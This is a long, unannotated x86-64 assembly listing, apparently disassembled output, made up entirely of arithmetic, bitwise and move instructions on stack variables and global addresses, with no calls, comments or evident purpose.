mov ecx, dword [rsp + 0x4e2c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov dword [rcx], eax
lea rax, [rsp + 0x8e90]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x8bc8]
mov rcx, qword [rsp + 0x9018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
lea rax, [0x1401e7038]
mov qword [0x1401e8828], rax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x8c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0x79], al
lea rax, [rsp + 0x82]
mov qword [rsp + 0x9070], rax
mov rax, qword [rsp + 0x8f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d28]
mov rcx, qword [rsp + 0x8b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4cec], eax
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x4e6c], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e90]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8b28]
mov qword [rcx], rax
lea rax, [rsp + 0x8b20]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [0x1401e7020]
shl eax, cl
mov word [rsp + 0x1048], ax
lea rax, [rsp + 0x84]
mov qword [0x1401e8830], rax
mov rax, qword [rsp + 0x8f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x75]
sar eax, cl
mov rcx, qword [rsp + 0x8ff8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8dd8]
movzx eax, word [rax]
mov word [rsp + 0x1050], ax
movzx eax, word [rsp + 0x1020]
movzx ecx, word [rsp + 0x1048]
and eax, ecx
mov word [rsp + 0xff4], ax
lea rax, [rsp + 0x8d50]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x8f60]
mov rcx, qword [rsp + 0x8b48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d88], eax
mov eax, dword [rsp + 0x4d84]
mov ecx, dword [rsp + 0x4e44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cc4], eax
lea rax, [rsp + 0x8e58]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e700d]
add eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov byte [rcx], al
mov rax, qword [rsp + 0x9030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
sub eax, ecx
mov word [0x1401e7040], ax
movzx eax, byte [rsp + 0x70]
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [0x1401e8828]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1024], ax
lea rax, [rsp + 0xffc]
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x8e10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d50]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d28]
mov ecx, dword [rsp + 0x4cc4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
mov qword [rsp + 0x9098], rax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8ad0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9068]
mov qword [rcx], rax
lea rax, [rsp + 0x86]
mov qword [rsp + 0x90a0], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1048]
xor eax, ecx
mov word [0x1401e7050], ax
movsx eax, word [rsp + 0x1034]
movsx ecx, word [rsp + 0x1050]
sar eax, cl
mov word [rsp + 0x1028], ax
movzx eax, byte [0x1401e8793]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x95], al
mov rax, qword [rsp + 0x8df8]
mov rcx, qword [rsp + 0x8c90]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8e50], rax
mov eax, dword [rsp + 0x4ccc]
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x8ed8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b00]
mov rcx, qword [rsp + 0x8fd0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8e90], rax
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x96], al
movsx eax, word [rsp + 0xffc]
movsx ecx, word [rsp + 0x103c]
sub eax, ecx
mov word [0x1401e8790], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff8]
sub eax, ecx
mov word [rsp + 0xff4], ax
lea rax, [0x1401e8793]
mov qword [rsp + 0x90a8], rax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8b08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x85], al
movsx eax, byte [rsp + 0x8f]
movsx ecx, byte [rsp + 0x72]
add eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0x90b0], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9098]
mov qword [rsp + 0x90b8], rax
mov rax, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8e28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d44], eax
lea rax, [rsp + 0x7b]
mov qword [0x1401e8838], rax
mov rax, qword [rsp + 0x8fe0]
movzx eax, word [rax]
mov word [rsp + 0x1054], ax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1044]
add eax, ecx
mov word [rsp + 0x103c], ax
mov rax, qword [rsp + 0x90a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8f]
and eax, ecx
mov byte [rsp + 0x8b], al
lea rax, [rsp + 0x1014]
mov qword [rsp + 0x90c0], rax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0x9068]
mov qword [rsp + 0x90c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x90c8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9098]
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8ac8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0x8d28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e54]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cbc], eax
movzx eax, byte [rsp + 0x85]
movzx ecx, byte [rsp + 0x71]
shl eax, cl
mov byte [0x1401e8793], al
movzx eax, word [rsp + 0x1040]
mov word [rsp + 0x1058], ax
mov rax, qword [rsp + 0x8de8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1018]
add eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
movzx eax, byte [rsp + 0x96]
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4d90], eax
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov qword [rsp + 0x90d8], rax
mov rax, qword [rsp + 0x8e28]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8e28]
mov dword [rcx], eax
lea rax, [rsp + 0x8fe8]
mov qword [rsp + 0x90e0], rax
lea rax, [rsp + 0x1008]
mov qword [0x1401e8840], rax
movzx eax, word [rsp + 0x1038]
movzx ecx, word [rsp + 0x1024]
add eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
lea rax, [0x1401e7040]
mov qword [rsp + 0x90e8], rax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
mov rax, qword [rsp + 0x90a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
lea rax, [0x1401e7018]
mov qword [rsp + 0x90f0], rax
mov rax, qword [rsp + 0x8b78]
mov rcx, qword [rsp + 0x8f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e48], eax
lea rax, [rsp + 0x8af8]
mov qword [rsp + 0x90f8], rax
mov eax, dword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x4e24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c08]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8810]
mov byte [rcx], al
movzx eax, word [rsp + 0x1000]
movzx ecx, word [rsp + 0x1004]
add eax, ecx
mov rcx, qword [rsp + 0x8f38]
mov word [rcx], ax
movzx eax, word [0x1401e7040]
mov word [rsp + 0x105c], ax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
movzx eax, byte [rsp + 0x72]
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x8f90]
mov rcx, qword [rsp + 0x8e68]
mov qword [rsp + 0x9100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9100]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9018], rax
mov eax, dword [rsp + 0x4e48]
mov ecx, dword [rsp + 0x4e3c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e54], eax
mov eax, dword [rsp + 0x4db4]
mov dword [rsp + 0x4e74], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9068]
mov qword [rsp + 0x9108], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9108]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9040], rax
movsx eax, word [rsp + 0x1030]
movsx ecx, word [rsp + 0xff0]
and eax, ecx
mov word [0x1401e87f0], ax
lea rax, [rsp + 0x102c]
mov qword [rsp + 0x9110], rax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x8f50]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov rax, qword [rsp + 0x9060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x8c90]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x90b8], rax
lea rax, [rsp + 0x4ccc]
mov qword [rsp + 0x9118], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x8e70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d78]
mov dword [rcx], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0x9120], rax
lea rax, [rsp + 0x8a]
mov qword [0x1401e8848], rax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1020], ax
movsx eax, word [rsp + 0x1008]
mov rcx, qword [rsp + 0x9030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1050], ax
mov rax, qword [rsp + 0x8e48]
movzx eax, word [rax]
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x90a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82], al
mov eax, dword [0x1401e7008]
mov dword [rsp + 0x4e78], eax
mov rax, qword [rsp + 0x8b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ddc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9000]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e40]
movzx ecx, al
mov rax, qword [rsp + 0x8e50]
sar rax, cl
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x9120]
mov rax, qword [rax]
mov qword [rsp + 0x9128], rax
mov rax, qword [rsp + 0x8e38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7a]
or eax, ecx
mov byte [0x1401e700d], al
mov rax, qword [rsp + 0x8ea8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xff4], ax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov byte [rsp + 0x9a], al
movsx eax, word [rsp + 0x1050]
mov rcx, qword [rsp + 0x8dd8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov word [rcx], ax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [0x1401e8794]
and eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x8fe8]
mov qword [rsp + 0x9130], rax
mov rax, qword [rsp + 0x8e28]
mov ecx, dword [rsp + 0x4e60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e34], eax
lea rax, [rsp + 0x4e1c]
mov qword [rsp + 0x9138], rax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9128], rax
movsx eax, word [rsp + 0x1030]
mov rcx, qword [rsp + 0x8f00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x71]
movzx ecx, byte [0x1401e8793]
add eax, ecx
mov byte [0x1401e700f], al
movzx eax, word [rsp + 0x1038]
mov word [rsp + 0x1064], ax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x73]
and eax, ecx
mov rcx, qword [rsp + 0x90a0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x9130]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x9140], rax
mov rax, qword [rsp + 0x8b28]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cbc]
mov ecx, dword [rsp + 0x4e1c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov dword [rcx], eax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0x9148], rax
mov rax, qword [rsp + 0x8c10]
movsx eax, word [rax]
mov rcx, qword [0x1401e87d0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e87f0], ax
movsx eax, byte [rsp + 0x8d]
movsx ecx, byte [rsp + 0x7f]
shl eax, cl
mov rcx, qword [rsp + 0x8f48]
mov byte [rcx], al
movzx eax, word [rsp + 0x103c]
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x8e08]
movzx eax, byte [rax]
movzx ecx, byte [str._DM_b]
or eax, ecx
mov byte [rsp + 0x7d], al
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0x8b50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e58], rax
lea rax, [rsp + 0x8bb8]
mov qword [rsp + 0x9150], rax
mov rax, qword [rsp + 0x8b78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e60]
mov qword [rsp + 0x9158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e78], eax
mov eax, dword [rsp + 0x4e00]
mov dword [rsp + 0x4e7c], eax
movzx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x8e80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1024], ax
lea rax, [0x1401e8795]
mov qword [0x1401e8850], rax
movsx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x8f48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x99], al
lea rax, [rsp + 0xff4]
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
movzx ecx, word [0x1401e7050]
add eax, ecx
mov rcx, qword [rsp + 0x9160]
mov word [rcx], ax
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0x9168], rax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x9138]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8bb8]
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x8ec0]
mov ecx, dword [rsp + 0x4e24]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8db0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov rcx, qword [0x1401e87c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e7022], al
movzx eax, word [rsp + 0x1058]
mov word [rsp + 0x106c], ax
mov rax, qword [rsp + 0x8f80]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [0x1401e87f0]
mov word [rsp + 0x1070], ax
movzx eax, word [rsp + 0x1004]
movzx ecx, word [rsp + 0x1020]
add eax, ecx
mov word [rsp + 0x1060], ax
mov rax, qword [rsp + 0x8ef8]
mov rcx, qword [rsp + 0x90d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9088]
mov qword [rcx], rax
lea rax, [rsp + 0x4db4]
mov qword [rsp + 0x9178], rax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4e4c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x8d90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8dd8]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401e87f0], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7d], al
movsx eax, byte [rsp + 0x7f]
mov rcx, qword [rsp + 0x8d48]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x1074], ax
movsx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x8e38]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e98]
mov qword [rsp + 0x9188], rax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x90b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8de0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4e74]
mov dword [rsp + 0x4e80], eax
lea rax, [rsp + 0x1070]
mov qword [0x1401e8858], rax
movzx eax, byte [rsp + 0x87]
movzx ecx, byte [rsp + 0x81]
sub eax, ecx
mov byte [rsp + 0x76], al
lea rax, [rsp + 0x86]
mov qword [rsp + 0x9190], rax
movzx eax, word [rsp + 0x1058]
mov rcx, qword [0x1401e87d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1048], ax
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x9c], al
mov eax, dword [rsp + 0x4e68]
mov ecx, dword [rsp + 0x4cc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e3c], eax
mov rax, qword [rsp + 0x8d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x90d0], rax
mov rax, qword [rsp + 0x8eb8]
mov rax, qword [rax]
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x9178]
mov ecx, dword [rsp + 0x4ccc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8f60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0x8b88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8848]
mov byte [rcx], al
lea rax, [rsp + 0x70]
mov qword [rsp + 0x91a0], rax
movzx eax, word [rsp + 0xff8]
movzx ecx, word [rsp + 0x102c]
or eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x8d90]
movzx eax, word [rax]
mov word [rsp + 0x1078], ax
mov rax, qword [rsp + 0x8ca8]
movzx ecx, al
mov rax, qword [rsp + 0x8bb8]
shl rax, cl
mov qword [rsp + 0x8f90], rax
lea rax, [0x1401e7018]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x9140]
mov rcx, qword [rsp + 0x8ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e30], eax
mov eax, dword [rsp + 0x4e68]
cdq
mov ecx, 0x5ac3
idiv ecx
mov dword [rsp + 0x4e1c], eax
movzx eax, byte [0x1401e700e]
mov byte [0x1401e8797], al
lea rax, [rsp + 0xff0]
mov qword [rsp + 0x91b0], rax
movzx eax, byte [rsp + 0x93]
movzx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
lea rax, [rsp + 0x1060]
mov qword [rsp + 0x91b8], rax
movzx eax, word [0x1401e7044]
movzx ecx, word [rsp + 0x1074]
and eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d44]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [0x1401e8798]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0x8e50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8e78]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4e88], eax
movsx eax, word [rsp + 0x1028]
movsx ecx, word [0x1401e8790]
add eax, ecx
mov word [0x1401e87f0], ax
mov rax, qword [rsp + 0x8e00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x9d], al
movsx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0x90c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1034], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9060]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cc4]
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x9178]
mov ecx, dword [0x1401e7004]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9178]
mov dword [rcx], eax
lea rax, [rsp + 0x8fd0]
mov qword [rsp + 0x91c0], rax
mov rax, qword [rsp + 0x8fc8]
mov rcx, qword [rsp + 0x9008]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8d50], rax
lea rax, [0x1401e87a0]
mov qword [0x1401e8860], rax
mov rax, qword [rsp + 0x8ae8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c10]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1044], ax
movzx eax, word [rsp + 0x1060]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x8b08]
movzx eax, byte [rax]
movzx ecx, byte [str._DM_b]
sar eax, cl
mov rcx, qword [rsp + 0x9070]
mov byte [rcx], al
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x91c8], rax
mov rax, qword [rsp + 0x8e50]
mov rcx, qword [rsp + 0x8d18]
mov qword [rsp + 0x91d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91d0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4c], eax
mov rax, qword [rsp + 0x9168]
mov rax, qword [rax]
mov qword [rsp + 0x91d8], rax
mov eax, dword [rsp + 0x4e20]
mov ecx, dword [rsp + 0x4e24]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cac], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8810]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8808]
mov byte [rcx], al
lea rax, [rsp + 0x84]
mov qword [rsp + 0x91e0], rax
movsx eax, byte [rsp + 0x99]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9148]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f00]
movzx eax, word [rax]
mov word [rsp + 0x1080], ax
mov rax, qword [rsp + 0x9110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1048]
add eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x90b0]
mov rcx, qword [rsp + 0x8e58]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9040], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0x91e8], rax
mov rax, qword [rsp + 0x8e70]
mov ecx, dword [rsp + 0x4e44]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d28]
mov dword [rcx], eax
lea rax, [rsp + 0x9048]
mov qword [rsp + 0x91f0], rax
mov rax, qword [rsp + 0x8f50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1068]
add eax, ecx
mov word [rsp + 0x1044], ax
mov rax, qword [rsp + 0x90a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [0x1401e8792], al
mov rax, qword [rsp + 0x8cc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8de8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1004], ax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x9090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8dd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x91f8], rax
mov rax, qword [rsp + 0x8ed8]
mov rcx, qword [rsp + 0x8d78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9138]
mov dword [rcx], eax
